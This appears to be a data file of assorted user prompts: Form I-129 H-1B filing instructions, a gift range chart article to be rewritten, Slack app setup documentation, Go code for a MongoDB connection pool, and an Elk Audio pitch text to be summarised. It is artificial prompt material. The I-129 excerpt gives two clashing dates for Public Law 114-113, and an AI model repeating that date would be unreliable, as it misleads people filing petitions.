you intend to pay the beneficiary as indicated on the petition. The SOC code and\narea(s) of intended employment should be indicated on the LCA filed with the petition.\nNOTE: If the beneficiary will work in multiple locations, or in multiple positions if you are filing the petition as an agent,\nyou must select the lowest corresponding OES wage level that the proffered wage will equal or exceed. If the proffered\nwage is expressed as a range, you must select the OES wage level based on the lowest wage in the range. If you are\nrelying on a prevailing wage that is not based on the OES survey, and the proffered wage is less than the corresponding\nlevel I OES wage, you must select the “Wage Level I and below” box. You may not lower the proffered wage listed on the\npetition to an amount that would be equivalent to a lower wage level than the wage level reflected on the selected H-1B\nregistration. If the relevant SOC code does not have current OES prevailing wage information available, you should\nfollow U.S. Department of Labor guidance on prevailing wage determinations to determine which OES wage level to\nselect.\nThe H-1B classification is also for aliens coming to the United States to perform services of an exceptional nature\nrelating to a cooperative research and development project administered by the U.S. Department of Defense\n(DOD).\nForm I-129 Instructions 11/02/22 Page 9 of 30\nWrite H-1B2 in the classification requested block.\nA U.S. employer or U.S. agent may file the petition.\nThe petition must be filed with:\n1. A description of the proposed employment;\n2. Evidence that the services and project meet the above conditions;\n3. A statement listing the names of aliens who are currently or have been employed on the project within the past year,\nalong with their dates of employment;\n4. Evidence that the beneficiary holds a bachelor’s or higher degree or its equivalent in the field of employment; and\n5. A verification letter from the DOD project manager. Details about the specific project are not required.\nThe H-1B classification is also for aliens of distinguished merit and ability in the field of fashion modeling.\nWrite H-1B3 in the classification block.\nThe petition must be filed by a U.S. employer or U.S. agent. The petitioner must submit evidence that establishes the\nbeneficiary will perform services at events or productions of a distinguished reputation. Such evidence includes:\n1. Documentary evidence (such as certifications, affidavits, and reviews) to establish the beneficiary is a fashion model\nof distinguished merit and ability. Any affidavits submitted by present or former employers or recognized experts\nmust set forth their expertise of the affiant and the manner in which the affiant acquired such information; and\n2. Copies of any written contracts between the petitioner and the beneficiary or, if there is no written agreement, a\nsummary of the terms of the oral agreement under which the beneficiary will be employed.\nGeneral H-1B Requirements\nThree relevant laws impacting the filing of H-1B and/or L visa petitions; include:\n1. The American Competitiveness and Workforce Improvement Act (ACWIA), Public Law 105-277 (signed into\nlaw on October 21, 1998);\n2. The H-1B Visa Reform Act of 2004 (signed into law on December 8, 2004); and\n3. Public Law 114-113 (signed into law on December 18, 2005).\nBecause of ACWIA, H-1B and H-1B1 free trade nonimmigrant petitioners must complete the H-1B Data Collection and\nFiling Fee Exemption Supplement, which is part of this petition. We use this supplement (formerly issued separately as\nForm I-129W) to collect additional information about the H-1B nonimmigrant workers and the H-1B petitioners, and to\ndetermine the applicability of fees mandated by ACWIA (INA section 214(c)(9)), the H-1B1 Visa Reform Act of 2004\n(INA section 214(c)(12)), and Public Law 114-113.\nA petitioner seeking initial approval of H-1B or L nonimmigrant status for a beneficiary, or seeking approval to employ an\nH-1B or L nonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and\nDetection fee. This fee does not apply to H-1B1 petitions. The Form I-129 will serve as the vehicle for collection of the\n$500 fee.\nThose petitioners required to submit the $500 Fraud Prevention and Detection fee are also required to submit either an\nadditional $4,000 (H-1B) or $4,500 (L-1) fee mandated by Public Law 114-113, if:\n1. The petitioner employs 50 or more individuals in the United States;\n2. More than 50 percent of those employees are in H-1B or L-1A or L-1B nonimmigrant status; and\n3. The petition is filed on or after December 18, 2015.\nThe Fraud Prevention and Detection Fee and Public Law 114-113 Fee, when applicable, may not be waived. Each\nfee should be submitted by separate check or money order.\nTo determine if they are subject to any of these fees, petitioners must complete the H-1B and H1B1 Data Collection and\nFiling Fee Exemption Supplement discussed below.\nForm I-129 Instructions 11/02/22 Page 10 of 30\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement\nA U.S. employer or U.S. agent who seek to place a beneficiary in H-1B classification (including H-1B1 classification for\nfree trade aliens from Chile and Singapore) must file this supplement.\nThe supplement is used to:\n1. Collect additional information about the H-1B employer and beneficiary; and\n2. Determine the appropriate American Competitiveness and Workforce Improvement Act (ACWIA) fee. The ACWIA\nFee is a training fee meant to fund the training of U.S. workers. But if the employer has 25 or fewer full-time\nemployees, they must pay only one-half of the required fee at INA 214(c)(9)(B). This supplement also helps to\ndetermine whether the beneficiary is subject to the H-1B numerical limitation (also known as the H-1B Cap). Please\nnote that the ACWIA fee may not be assessed to the beneficiary.\nWho is required to submit this supplement?\nA U.S. employer or U.S. agent seeking to classify a beneficiary as an H-1B or H-1B1 Free Trade Nonimmigrant worker\nmust file this supplement with the Form I-129 and the appropriate fee. (See What is the Filing Fee, for more information\nabout the appropriate fee.)\nCompleting Section 1. of the H-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement Form\nAll petitioners who seek to classify a beneficiary as an H-1B or H-1B1 free trade nonimmigrant worker must answer every\nquestion in Item Number 1. of Section 1., General Information. Guidance on how to answer these questions follows.\n1. H-1B dependent employer. An “H-1B dependent employer” is an employer that:\nA. Has 25 or fewer full-time-equivalent employees who are employed in the United States and employs more than\nseven H-1B nonimmigrants;\nB. Has at least 26 but not more than 50 full-time-equivalent employees who are employed in the United States and\nemploys more than 12 H-1B nonimmigrants; or\nC. Has at least 51 full-time equivalent employees who are employed in the United States and employs H-1B\nnonimmigrants in a number that is equal to at least 15 percent of the number of such full-time-equivalent\nemployees.\n2. Willful violators. A willful violator is an employer whom the U.S. Secretary of Labor has found, after notice and\nopportunity for a hearing, to have willfully failed to meet a condition of the labor condition application described in\nsection 212(n) of the Immigration and Nationality Act.\n3. Exempt H-1B nonimmigrant. An “exempt H-1B nonimmigrant” is an H-1B nonimmigrant who:\nA. Receives wages (including cash bonuses and similar compensation) at an annual rate equal to at least $60,000; or\nB. Has attained a master’s degree or higher (or its equivalent) in a specialty related to the intended employment.\n4. Highest level of formal education. In Item Number 2. of Section 1., place an “X” in the appropriate box that most\nclosely reflects the highest level of formal education the beneficiary has attained.\n5. Major/primary field of study. Use the beneficiary’s degree transcripts to determine the primary field of study. DO\nNOT consider work experience to determine the beneficiary’s major field of study.\n6. Master’s or higher degree from a U.S. institution of higher education. Indicate whether or not the beneficiary has\nearned a master’s or higher degree from a U.S. institution of higher education, as defined in 20 U.S.C. section 1001(a).\n7. Rate of pay per year. The “rate of pay’’ is the salary or wages paid to the beneficiary. Salary or wages must be\nexpressed in an annual full-time amount and do not include non-cash compensation or benefits. For example, an\nH-1B worker is to be paid $6,500 per month for a 4-month period and also provided separately a health benefits\npackage and transportation during the 4-month period. The yearly rate of pay if he or she were working for a full year\nwould be 12 times the monthly rate, or $78,000. This amount does not include health benefits or transportation costs.\nThe figure $78,000 should be entered on this form as the rate of pay.' +'[If I had to pick the most important of resources to lead you through a successful capital campaign, it would be the gift range chart. You may also know it as a gift table.\n\nIn this post, you’ll learn the basics of Gift Range Charts and discover the related tools that will help create a plan for your campaign.\n\nQuick Links — Click on any of the links below to jump ahead and learn the essentials about Gift Range Charts:\n\nCapital Campaign Gift Range Chart: An Overview\nCreating Your Capital Campaign Gift Range Chart\nGoing Beyond the Gift Range Chart\nTools to Create Your Capital Campaign Gift Range Chart\nConclusion: Making Sense of Your Campaign\nRead on and learn about how Gift Range Charts (also known as gift tables) are created and used.\n\nAlready know you want hands-on guidance developing your gift range chart? Request a free strategy session today!\n\nCapital Campaign Gift Range Chart: An Overview\n\nCapital Campaign Gift Range Chart: An Overview\nIf you’ve been through a capital campaign before, you are likely familiar with this important tool. If you use this tool correctly, you’ll be well on your way to leading a successful campaign.\n\nWHAT IS A GIFT RANGE CHART?\nA Gift Range Chart provides a framework for the number of gifts, at each gift amount, that you’ll need for a successful campaign.\n\nThe Gift Range Chart is the primary tool for your campaign because it will clarify your campaign goal and help you determine your chances for success at a specific goal amount. But the right Gift Range Chart for your campaign will become the backbone of your campaign in many other ways as well.\n\nA Gift Range Chart will enable you to:\n\nSort your donors by ask amounts\nEstablish the pattern of gifts you’ll need for your campaign\nCreate a strategic order for soliciting gifts\nProvide a logical approach to quantifying the number of prospects you’ll need for your campaign\nHelp your board understand what campaign success is going to take\nShow your top donors where their gifts will fit into the campaign\nTrack and report on your campaign progress\nDevelop a rational plan for donor communication, recognition and naming opportunities\nSAMPLE GIFT RANGE CHART\nYou’ll find several tools to help create your Gift Range Chart in the “Pre-Campaign Planning” section of the Capital Campaign Toolkit. Here’s a sample Gift Range Chart to use as a reference:\n\nSample Gift Range Chart for a Capital Campaign\n\nCreating Your Capital Campaign Gift Range Chart\n\nCreating Your Capital Campaign Gift Range Chart\nIn the sample Gift Range Chart in the preceding section, you can see that the top gift is 20% of the campaign goal. And, the first seven gifts take you to $1.4 million — more than halfway toward the goal.\n\nThe top group of 15 gifts take you to $1.8 million, or 72% — nearly three-quarters of the way to the campaign goal.\n\nThis pattern, showing a few gifts accounting for a large proportion of the campaign goal, is common for capital campaigns. In most campaigns, the top gift is 20% or 25% of the campaign goal. In some cases, it’s even higher. In fact, only 10 gifts account for at least half the goal in the vast majority of capital campaigns.\n\nOn the other hand, you can see that the remaining gifts — those of $25,000 or less account for less than 30% of the goal.\n\nOf course, the amounts on this chart are for example only. One standard pattern does not work for every campaign. Your Gift Range Chart will have to reflect the size of your donor base. The smaller your donor base, the larger the gifts in the top of the chart will have to be.\n\n7 TIPS TO CREATE YOUR GIFT RANGE CHART\nHere are seven tips that will help you create a Gift Range Chart for your organization.\n\nBuild your gift chart by starting with the top gift which should be at least 20% of your campaign goal.\nThen work down, increasing the number of gifts as the size of the gifts goes down.\nThe number of gifts in the first column should increase in a rational pattern as the size of the gifts decreases.\nThe gift amounts should be simple and standard to reflect a generic pattern rather than specific gifts you may already have in.\nYou will need 2, 3 or even 4 times the number of prospects than the number of gifts. The prospect multiplier depends on how well you know your donors.\nThe total number of prospects you show in your chart should be no larger than the number of qualified prospects you have in your donor base.\nIf when you get to the bottom of your chart, you find that you need more prospects than you have, go to the top and increase the number of gifts at the top.\nWant one-on-one guidance to help create your campaign’s gift range chart? Just reach out—we’ll be happy to help!\n\nGoing Beyond the Gift Range Chart\n\nGoing Beyond the Gift Range Chart\nThe Gift Range Chart will serve as a roadmap for your campaign. You will use a Depth Chart to add prospect names to each giving level you have decided on in your Gift Range Chart.\n\nFROM GIFT RANGE CHART TO DEPTH CHART\nOnce you’ve created a Gift Range Chart for your campaign, you’ll develop a “Depth Chart” which will attach specific prospective donor names to each gift required for a successful campaign.\n\nSimply take each of the top giving levels and use them as column headers. In each header, indicate how many gifts you will need at that level and how many prospects that will require:\n\nCapital Campaign Depth Chart\n\nNext, start filling out the names of people you can credibly ask for a gift at that level for your campaign. Sorting your donors into columns is done by evaluating their current giving, their potential to give, and their likely inclination.\n\nAs you fill out the Depth Chart, you will clearly see where you have enough qualified prospective donors and where you fall short. If you don’t have any prospect names for the top three levels, you probably need to go back to the drawing board and reduce your campaign goal.\n\nOnce your depth chart has been filled in, you will use it to organize the order of solicitation. You’ll prioritize the top donors to solicit first and then gradually work down to the smaller gifts as laid out on the depth chart.\n\nUSING THE GIFT RANGE CHART TO SOLICIT GIFTS\nOnce you have your depth chart and you start talking to your donors about making gifts to the campaign, you will once again find the gift range chart to be helpful. You should always include a copy of the gift range chart in the materials you take to your donors. When you show it to them, they will be able to see where they might fit in the community of donors. While a donor’s ability to make a gift is important, most donors like to know where their gift fits.\n\nSome donors want to be lead donors. And your chart will show them what that gift would be. Others might not want to be the lead donor but would like to make a significant gift to the campaign. Again, looking at the gift range chart will help them understand the range of giving and where they might place themselves in the community of donors.\n\nTRACKING CAMPAIGN PROGRESS WITH THE GIFT RANGE CHART\nGift range charts have a way of making the essence of a capital campaign clear. So, as gifts come in, you will check them off on your gift range chart. Gradually, as your campaign moves forward, you will see graphically, in a simple way, the progress your campaign is making and what gifts have yet to be committed. Your board members and executive staff will appreciate this very simple tracking devise. It’ll give them a sense of confidence to see the top gifts fill in from the top down.\n\nTools to Create Your Capital Campaign Gift Range Chart\n\nTools to Create Your Capital Campaign Gift Range Chart\nThe sample Gift Range Chart in this post is one of a number of tools available in the Capital Campaign Toolkit’s Pre-Campaign Planning section. Other tools include:\n\nGift Range Chart Calculator\nGift Range Chart Worksheet\nDepth Chart Worksheet\nOther related tools include a plan for your donor recognition guide based on the levels in your Gift Range Chart.\n\nIf you’re eager to utilize these tools for your campaign, check out the different Toolkit options here. Most options include campaign advising, giving you professional support at a fraction the cost of a campaign consultant.\n\nVIDEO: GIFT RANGE CHARTS = YOUR MOST POWERFUL TOOL\nTo learn even more about creating a Gift Range Chart for your campaign, watch the following video (approximately 17 minutes):\nConclusion: Making Sense of Your Campaign\n\nConclusion: Making Sense of Your Campaign\nBecause capital campaigns go on for many months (or even years), you may find it easy to get confused about where you should be putting your efforts during the seven phases of the campaign.\n\nIf, however, you coordinate your campaign plan to a Gift Range Chart, then, when you’re feeling lost, you’ll know where to turn. You’ll look at your chart to review which groups of donors have been solicited, as well as which are next up.\n\nYou may tie your staffing responsibilities to the donor levels of the Gift Range Chart. And you will certainly create a timetable for your campaign that prioritizes the work of the campaign according to giving level, starting with the largest gifts and working down.\n\nAnd even when considering how to thank and recognize donors, once you start thinking about it from the perspective of the giving levels in your Gift Range Chart, all of the planning will fall into place.\n\nA GIFT RANGE CHART MINIMIZES CONFUSION AND BUILDS CONFIDENCE\nWhen you organize your campaign based on a clear top-down strategy as mapped out in the Gift Range Chart, you will minimize confusion and build confidence in the campaign process.\n\nA Gift Range Chart may appear to be a simple planning devise, but when you use it as the essential structure for your campaign, you’ll find that everything falls into place.\n\nHave more questions about capital campaigns or want one-on-one help crafting your strategy? Check out our complete FAQ guide or get in touch. We’ll be happy to help!]\n\nCan you write an article using the content above called, "What I wish orgs finished before the capital campaign" include headers and subheaders and a few lists where needed, make it relatable and less than 750 words.' +'Basic app setup\nThis guide is for developers who\'ve never followed a Slack app recipe before, but want to cook with the latest ingredients from the Slack platform. We\'ll teach you how to craft a new Slack app from the ground up.\n\nIf you\'re an experienced chef, already familiar with seasons of Slack apps past, check out this quickstart guide that explains exactly what new ingredients have arrived to apps.\n\nOtherwise, read on!\n\nOverview\nCreating an app\nRequesting scopes\nInstalling the app to a workspace\nCalling API methods\nListening for events\nPosting in public channels\nCustomizing message authorship\nUsing Slash commands and Incoming Webhooks\nHandling link unfurling\nWhere to go next\nOverview \nThis guide walks you through making a new Slack app using the Slack App Management UI.\n\nBy the end of this guide, your app will be poised to post messages, make response to mentions, and even use classic recipes like Slash commands and incoming webhooks.\n\nNew Slack apps are safer for users to install, less prone to unexpected uninstalls, and even have new features not available to classic apps. So let\'s get cooking, starting with the first ingredient: creating an app.\n\nCreating an app \nIf you haven\'t already, create a new Slack app with our easygoing UI:\n\nCreate a new Slack app\n\nFill out your App Name and select the Development Workspace where you\'ll play around and build your app. Don\'t fuss too much over either field—no matter what workspace you select, you\'ll still be able to distribute your app to other workspaces if you choose.\n\nRequesting scopes \nPreheat the oven and ready your app for action by requesting scopes. Scopes give your app permission to do things (for example, post messages) in your development workspace.\n\nYou can select the scopes to add to your app by heading over to the OAuth & Permissions sidebar.\n\nScroll down to the Scopes section and click to Add an OAuth Scope.\n\nFor example, try adding the chat:write scope to your Bot Token. It\'ll allow your app to post messages! While you\'re at it, add the channels:read scope so your app can gain knowledge about public Slack channels.\n\nIf you\'re confused about the difference between adding a Bot Token Scope or a User Token Scope, worry not:\n\nAdd scopes to your Bot Token, not your User Token.\n\nOne notable exception to that rule is if you need to act as a specific user (for example, posting messages on behalf of a user, or setting a user\'s status). In that situation, you\'ll need a User Token.\n\nNew Slack apps may not access RTM\nFor most apps, the Events API lets your app listen to Slack goings-on in a more structured, safe way. If you require access to RTM (say, because you\'re building your app behind a corporate firewall), you\'ll need to create a classic Slack app and use its bot token to call rtm.connect:\n\nCreate a classic Slack app\n\nOtherwise, it\'s bot tokens all the way down.\n\nInstalling the app to a workspace \nSure, you can request any scope you want—but final say always resides with the user installing your app. Like a picky eater, a user can choose to refuse any and all installs that seem to request permissions beyond what an app truly needs.\n\nTry it out! Install your own app by selecting the Install App button on the sidebar.\n\nAfter clicking through one more green Install App To Workspace button, you\'ll be sent through the Slack OAuth UI.\n\nNew Oauth UI for users\n\nHere\'s a potentially confusing bit: when you follow this flow with Slack, you\'re playing the part of the installing user, the picky eater—not the app! If you were adding your app to a different workspace besides your development workspace, this flow would be completed by a user from that workspace, not you.\n\nAs a user, you\'re choosing to trust the app. Is it trustworthy? Well, you just built it—hopefully, it\'s not too bad.\n\nAfter installation, you\'ll find an access token inside your app management page. Look for it under the OAuth & Permissions sidebar.\n\nAccess tokens are imbued with power. They represent the permissions delegated to your app by the installing user. Remember to keep your access token secret and safe, to avoid violating the trust of the installing user.\n\nAt a minimum, avoid checking your access token into public version control. Access it via an environment variable. We\'ve also got plenty more best practices for app security.\n\nCalling API methods \nYour access token allows you to call the methods described by the scopes you requested during installation.\n\nFor example, your chat:write scope now allows your app to post messages. Your app probably isn\'t a member of any channels yet, so pick a channel you don\'t mind adding some test messages to and /invite your app.\n\nYou can find the corresponding id for the channel that your app just joined by looking through the results of the conversations.list method:\n\nCopy\ncurl https://slack.com/api/conversations.list -H "Authorization: Bearer xoxb-1234..."\nYou\'ll receive a list of conversation objects.\n\nNow, post a message to the same channel your app just joined with the chat.postMessage method:\n\nCopy\ncurl -X POST -F channel=C1234 -F text="Reminder: we\'ve got a softball game tonight!" https://slack.com/api/chat.postMessage -H "Authorization: Bearer xoxb-1234..."\nVoila! We\'re already well on our way to putting a full-fledged Slack app on the table.\n\nSlack Softball Team app message\n\nWant more tips on cooking up the perfect API call? Check out the Web API guide for some technical tricks.\n\nIf you just want to see all the different methods you can call, check out the methods list. If you select any method, you\'ll see exactly what parameters the method takes, plus additional bits of knowledge. Think of the methods list as the Slack API cookbook.\n\nPosting in public channels \nNew Slack apps do not begin life with the ability to post to any public channel without joining.\n\nGood news: apps can gain that ability by asking for them explicitly with the use of scopes.\n\nRequest the chat:write.public scope to gain the ability to post in all public channels, without joining. Otherwise, you\'ll need to use conversations.join, or have your app invited by a user into a channel, before you can post.\n\nCustomizing message authorship \nNew Slack apps also do not start with the ability to adjust username or icon when posting messages—that is, message authorship.\n\nYou can adjust your app\'s message authorship with the help of the chat:write.customize scope. Once you\'ve requested the scope, you can make use of the username, icon\\_url, and icon\\_emoji parameters in chat.postMessage.\n\nListening for events \nOne fundamental pattern of Slack apps is listening and responding.\n\nWe\'ve already touched on one way an app can respond: by calling chat.postMessage to post a message.\n\nBut our app isn\'t a very good listener yet. An app that speaks without being prompted can be distracting at best and outright disruptive at worst.\n\nApps always respond to something. It might be a mention in channel, a button pushed to trigger an action, even a user entering into a DM with the app. But apps never act for no reason.\n\nApps listen with the Events API. Events are just what you\'d expect: notifications, sent to your app, about happenings in Slack. Each type of event lets your app know about a certain type of happening.\n\nLet\'s subscribe to the app\\_mention event. Select the Event Subscriptions sidebar and toggle "Enable Events" on. Within Subscribe to bot events click Add Bot User Event, then search for app\\_mention.\n\nAs with scopes, always subscribe to events with a bot user, unless only a user token will do.\n\nSet the Request URL to a URL where your app\'s server listens to incoming HTTP requests. Slack will send an HTTP request there when your app is mentioned, allowing your app to figure out how it wants to respond.\n\nIf setting a server up makes you nervous, there\'s plenty of help in our tools and SDKs for programming languages, which implement a server listening for events automatically.\n\nYou\'ll notice that the app\\_mention event requires the app\\_mention:read scope. Events are like API methods: they allow your app access to info in Slack, so you need permission for them. Reinstall your app with the new scope.\n\nNow you\'ll be notified when your app is mentioned, and you can respond however you like:\n\nSlack Softball Team app call and response\n\nUsing Slash commands and Incoming Webhooks \nNew Slack apps can still use beloved recipes passed down through the family: Slash commands and Incoming Webhooks.\n\nRequest the commands scope to build a Slash command. Request the incoming-webhook scope to use Incoming Webhooks. Both features act exactly the way they did for classic Slack apps, with one big exception:\n\nSlash commands and Incoming Webhooks are now tied to your bot user and bot token, not a user. That means you\'re safe from unexpected installs if the user who builds a command or webhook leaves the workspace!\n\nNew Slack apps will not support Slash commands or Incoming Webhooks on a user token. They can only be obtained by the app\'s bot user.\n\nHandling link unfurling \nYou can request the links:read and links:write scopes so that your app can handle unfurls.\n\nA link shared in a channel will only be unfurled if the token with links:write has access to the message that contains the link. For example, if you have a new Slack app and an installing user shares a link to a private channel, but the new Slack app is not in that private channel, that link will not unfurl.\n\nWhere to go next \nCooking is a life-long pursuit, and Slack apps have the same complexity. From here, you can go on to build mouth-watering interactive workflows; spice up your sentences with Block Kit; even pursue building for larger Enterprise Grid organizations, which contain multiple workspaces.\n\nYou can now even submit new Slack apps to the app directory and share your creations with others!\n\nRespond OK when ready for more.' +'here is the pool.go for mgopool.DBInfo and mgopool.Pool\npackage mgopool\n\nimport (\n "context"\n "errors"\n "fmt"\n "net/url"\n "strings"\n "sync"\n "time"\n\n "gitlab.com/cake/gopkg"\n "gitlab.com/cake/m800log"\n "go.mongodb.org/mongo-driver/mongo"\n "go.mongodb.org/mongo-driver/mongo/options"\n "go.mongodb.org/mongo-driver/mongo/readpref"\n "go.mongodb.org/mongo-driver/mongo/writeconcern"\n\n "github.com/eaglerayp/go-conntrack"\n "go.opentelemetry.io/contrib/instrumentation/go.mongodb.org/mongo-driver/mongo/otelmongo"\n)\n\n// AlertChannel put error message, wait for outer user (i.e., gobuster) pick and send.\nvar AlertChannel = make(chan error, 1)\n\n// Default dial timeout value from https://gitlab.com/cake/mgo/blob/v2/cluster.go\nvar syncSocketTimeout = 5 \\* time.Second\n\n// DBInfo logs the required info for baas mongodb.\ntype DBInfo struct {\n Name string\n User string\n Password string\n AuthDatabase string\n Addrs []string\n MaxConn int\n MaxConnectAttempts int\n Timeout time.Duration\n SocketTimeout time.Duration\n ReadMode readpref.Mode\n // if not set, follow mongoDB default\n // 4.2: 1\n // 5.0: majority\n WriteConcern \\*writeconcern.WriteConcern\n Direct bool\n Mongos bool\n}\n\n// NewDBInfo\nfunc NewDBInfo(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n return NewDBInfoWithSocketTimeout(name, addrs, user, password, authdbName,\n timeout, 0, maxConn, direct, readSecondary, mongos)\n}\n\n// NewDBInfoWithSocketTimeout\nfunc NewDBInfoWithSocketTimeout(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, socketTimeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n readMode := readpref.PrimaryPreferredMode\n if readSecondary {\n readMode = readpref.SecondaryPreferredMode\n }\n return &DBInfo{\n MaxConn: maxConn,\n Name: name,\n Addrs: addrs,\n User: user,\n Password: password,\n AuthDatabase: authdbName,\n Timeout: timeout,\n SocketTimeout: socketTimeout, // if socketTimeout is 0 (not given), newClient will use syncSocketTimeout\n Direct: direct,\n ReadMode: readMode,\n Mongos: mongos,\n }\n}\n\nfunc (dbi \\*DBInfo) SetWriteConcern(writeconcern \\*writeconcern.WriteConcern) {\n dbi.WriteConcern = writeconcern\n}\n\n// Pool is the mgo session pool\ntype Pool struct {\n name string\n config \\*DBInfo\n mode readpref.Mode\n available bool\n rwLock sync.RWMutex\n client \\*mongo.Client\n}\n\nfunc newClient(dbi \\*DBInfo, addrs []string) (newClient \\*mongo.Client, err error) {\n account := ""\n if dbi.User != "" && dbi.Password != "" {\n account = fmt.Sprintf("%s:%s@", url.QueryEscape(dbi.User), url.QueryEscape(dbi.Password))\n }\n uri := fmt.Sprintf("mongodb://%s%s/%s", account, strings.Join(addrs, ","), dbi.AuthDatabase)\n clientOpt := options.Client().ApplyURI(uri)\n\n conntrackDialer := conntrack.NewDialer(\n conntrack.DialWithName("mgopool"),\n conntrack.DialWithTracing(),\n )\n clientOpt.SetMonitor(otelmongo.NewMonitor())\n clientOpt.SetDialer(conntrackDialer)\n clientOpt.SetAppName(gopkg.GetAppName())\n clientOpt.SetConnectTimeout(dbi.Timeout)\n\n if dbi.SocketTimeout > 0 {\n clientOpt.SetSocketTimeout(dbi.SocketTimeout)\n } else {\n clientOpt.SetSocketTimeout(syncSocketTimeout)\n }\n\n clientOpt.SetDirect(dbi.Direct)\n clientOpt.SetMaxPoolSize(uint64(dbi.MaxConn))\n clientOpt.SetMinPoolSize(uint64(dbi.MaxConn))\n readPref, \\_ := readpref.New(dbi.ReadMode)\n clientOpt.SetReadPreference(readPref)\n // The default read preference is primary\n\n if dbi.WriteConcern != nil {\n clientOpt.SetWriteConcern(dbi.WriteConcern)\n }\n\n maxAttempts := 10\n if dbi.MaxConnectAttempts > 0 {\n maxAttempts = dbi.MaxConnectAttempts\n }\n for attempts := 1; attempts <= maxAttempts; attempts++ {\n newClient, err = mongo.Connect(context.Background(), clientOpt)\n if err == nil {\n break\n }\n errLogf(systemCtx, addrs, "[mongo] NewClient error: %v", err)\n time.Sleep(time.Duration(attempts) \\* time.Second)\n }\n if err != nil {\n errLogf(systemCtx, addrs, "[mongo] NewClient no reachable server error: %v", err)\n return\n }\n err = newClient.Ping(context.TODO(), nil)\n if err != nil {\n newClient.Disconnect(context.TODO())\n }\n\n return\n}\n\n// NewSessionPool construct connection pool\nfunc NewSessionPool(dbi \\*DBInfo) (\\*Pool, error) {\n p := &Pool{}\n err := p.Init(dbi)\n return p, err\n}\n\n// Init returns whether Pool available\nfunc (p \\*Pool) Init(dbi \\*DBInfo) error {\n // mask password for security concern\n password := dbi.Password\n var pb strings.Builder\n for i := 0; i < len(password); i++ {\n pb.WriteString("\\*")\n }\n dbi.Password = pb.String()\n m800log.Infof(systemCtx, "[mgopool] init with config: %+v", dbi)\n\n // recover password\n dbi.Password = password\n\n // connection establish\n client, dialErr := newClient(dbi, dbi.Addrs)\n if dialErr != nil {\n errLogf(systemCtx, dbi.Addrs, "unable to connect to mongoDB error: %v", dialErr)\n return dialErr\n }\n p.name = dbi.Name\n p.config = dbi\n p.available = true\n p.mode = dbi.ReadMode\n p.client = client\n\n return nil\n}\n\nfunc (p \\*Pool) GetMongoClient() (\\*mongo.Client, error) {\n if p.client == nil {\n return nil, errors.New("mongo client empty")\n }\n\n return p.client, nil\n}\n\n// IsAvailable returns whether Pool availalbe\nfunc (p \\*Pool) IsAvailable() bool {\n p.rwLock.RLock()\n defer p.rwLock.RUnlock()\n return p.available\n}\n\n// Len returns current Pool available connections\nfunc (p \\*Pool) Len() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// LiveServers returns current Pool live servers list\nfunc (p \\*Pool) LiveServers() []string {\n if p.IsAvailable() {\n return p.config.Addrs\n }\n return []string{}\n}\n\n// Cap returns Pool capacity\nfunc (p \\*Pool) Cap() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// Mode returns mgo.Mode settings of Pool\nfunc (p \\*Pool) Mode() readpref.Mode {\n return p.mode\n}\n\n// Config returns DBInfo of Pool\nfunc (p \\*Pool) Config() \\*DBInfo {\n return p.config\n}\n\n// Close graceful shutdown conns and Pool status\nfunc (p \\*Pool) Close() {\n p.rwLock.Lock()\n defer p.rwLock.Unlock()\n p.available = false\n p.client.Disconnect(context.TODO())\n}\n\n// ShowConfig returns debug config info\nfunc (p \\*Pool) ShowConfig() map[string]interface{} {\n config := make(map[string]interface{})\n config["MaxConn"] = p.config.MaxConn\n config["Addrs"] = p.config.Addrs\n config["Timeout"] = p.config.Timeout\n config["Direct"] = p.config.Direct\n config["Mongos"] = p.config.Mongos\n config["ReadMode"] = p.config.ReadMode\n config["User"] = p.config.User\n config["AuthDatabase"] = p.config.AuthDatabase\n return config\n}\n\n// Recover close and re-create the pool sessions\nfunc (p \\*Pool) Recover() error {\n m800log.Info(systemCtx, "[mgopool] start recover")\n p.Close()\n for {\n err := p.Init(p.config)\n if err == nil {\n return nil\n }\n m800log.Errorf(systemCtx, "[mgopool] still try recover error:%v", err)\n }\n}' +"can you prepare a summary of this text?\n\nJanuary 2023\nElk Audio is a Stockholm based company that develops patent pending technologies enabling a new generation of real-time audio solutions that are ready to take advantage of 5G technology and edge computing to finally bring music into the connected world.\n\nWe are Elk, a Stockholm based company, founded in about five year ago by myself, Stefano and a third partner Michele. We have different backgrounds (I come from Management Consulting and finance, Stefano holds a PhD in Computer Science and has previously worked in the ProAudio industry, Michele is a violin making maestro and graduated at the international school Stradivari). Despite this different backgrounds we share a common passion about music and technology.\n\nWe build a set of technologies having in mind companies, products or services for context where ultra low-latency audio is a mission critical factor to provide real-time interaction, including of course real-time interaction that might be relevant for you. In particular we are strongly convinced that the feeling to be in the same room can greatly contribute to generate real engagement (performers, guest artists, podcasters, actors...)\n2\n\nIt’s 2023 and concerts have moved to the internet. You can experience a streamed concert from anywhere.\n\nBut still 250 million musicians worldwide can’t play live together online. Why?\n\nThe problem is spelled Latency\n\nFor a human to get the feeling of real time, latency needs to be below 20-30 ms. \n\nA typical Zoom or Google Meet video-call on average has latency spanning 150-500 ms. This makes it impossible even clapping your hands in sync.\n\nLatency is what kills the feeling of live for any musician playing online.\nSource\nDestination\nProcessed Data\nRequest\n\nLatency is solved by \n\nThe World’s lowest latency \x0bAudio Operating System\nElk Audio OS is the perfect solution for an industry that is in transformation: musical instrument and audio gadgets, \x0bensuring <1ms latency over general purpose CPUs\nTHIRD PARTY HW DEVICE\x0bRUNNING LICENCED ELK AUDIO OS\n\nElk Audio OS\nProprietary technology\nElk Audio OS is Linux-based fine-tuned hybrid system with dual Kernel (RTOS / Linux)\n4+yrs R&D ($6M+ investment)\n<1ms latency over general purpose CPUs \nWorld’s lowest latency Audio OS\nAlready licensed to ProAudio HW makers\n9\n\nNetwork\x0bLatency is solved by \n\nIntroducing Elk LIVE \nConnect over the internet and play music \x0btogether like you’re in the same room\nElk LIVE \x0becosystem\nWEBAPP\x0b(PC / Mobile)\nEMBEDDED \x0bHW DEVICE\nCLOUD\n1\n2\n3\nINTERNET\x0bCONNECTIVITY\n3rd PARTY\x0bHW 